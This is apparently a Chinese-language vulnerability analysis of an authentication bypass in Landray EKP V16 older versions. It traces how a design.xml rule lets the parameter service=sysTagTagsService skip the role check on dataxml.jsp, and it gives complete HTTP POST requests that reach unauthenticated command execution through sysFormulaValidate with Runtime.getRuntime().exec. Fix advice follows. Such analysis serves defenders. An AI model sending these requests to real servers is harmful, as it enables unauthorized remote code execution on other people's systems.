蓝凌EKP V16老版本 bypass dataxml.jsp Auth
字数 1303 2025-08-22 22:47:39
蓝凌EKP V16老版本dataxml.jsp认证绕过漏洞分析
漏洞概述
蓝凌EKP V16老版本中存在一个认证绕过漏洞,攻击者可通过特定方式绕过/sys/common/dataxml.jsp的权限验证,进而执行任意JavaScript代码,最终导致远程代码执行(RCE)。
漏洞背景
蓝凌EKP早期版本中,直接请求/sys/common/dataxml.jsp可执行任意JS代码。在后续修复版本中,该路径增加了认证限制,直接访问会302跳转到登录界面。但通过分析权限处理逻辑,可添加特定参数绕过认证。
漏洞分析
权限处理机制
蓝凌EKP的权限处理逻辑主要在springSecurityFilterChain中配置:
<sec:filter-chain pattern="/**" filters="securityContextPersistenceFilter, baseAppConfigFilter, sysLogOperFilter, concurrentSessionFilter, logoutFilter, kmssProcessingFilterProxy, exceptionTranslationFilter, filterInvocationInterceptor, webContentCacheFilter, checkIfTrustSiteUnknownRefererFilter, sysDatamngPointFilter"/>
关键拦截器是filterInvocationInterceptor,它配置了一个filterInvocationDefinitionSource,实现了匿名访问和权限控制。
权限验证逻辑
权限验证的核心方法getAttributes主要逻辑:
- 获取请求URL
- 处理
/moduleindex开头的特殊路径 - 对于其他路径:
- 检查是否匹配
nonAnonymousPaths(需要认证的路径) - 检查是否匹配
anonymousPaths(可匿名访问的路径) - 调用
validateCore.checkAuthentication进行最终验证
- 检查是否匹配
模块加载与验证
loadAuthValidator方法负责根据URL加载模块验证规则:
- 从请求URL提取模块路径
- 对于数据URI(包含
-的路径)有特殊处理 - 从
design.xml配置文件中加载模块验证规则
关键配置分析
在design.xml中有以下关键配置:
<module urlPrefix="/sys/common/" messageKey="common.moduleName" defaultValidator="roleValidator(role=SYSROLE_USER;SYSROLE_SYSADMIN;SYSROLE_SECURITY;SYSROLE_AUDITOR)">
</module>
<module urlPrefix="/sys/common/">
<request path="dataxml.jsp*">
<query validator="true" queryString="service=sysTagTagsService" />
</request>
</module>
关键点:
/sys/common/路径默认需要特定角色权限- 但
dataxml.jsp路径有特殊配置:当请求参数包含service=sysTagTagsService时,validator="true"会覆盖默认配置,允许未授权访问
漏洞利用
直接访问(被拦截)
直接访问/sys/common/dataxml.jsp会被重定向到登录页面:
POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");
绕过认证(成功利用)
添加service=sysTagTagsService参数可绕过认证:
POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");&service=sysTagTagsService
利用sysFormulaValidate可执行任意JavaScript代码,通过Runtime.getRuntime().exec()实现命令执行。
修复建议
- 移除
dataxml.jsp的特殊配置,确保其遵循默认权限验证 - 更新到最新版本,官方已修复此漏洞
- 对
sysFormulaValidate等敏感功能增加严格的权限控制 - 限制JavaScript执行能力,特别是禁止直接调用系统命令
总结
该漏洞利用了两个关键点:
- 配置覆盖:
validator="true"覆盖了默认的角色验证 - 参数控制:通过
service=sysTagTagsService参数触发特殊验证逻辑
攻击者利用此漏洞可在未授权情况下执行系统命令,危害极大。建议用户及时升级或采取临时防护措施。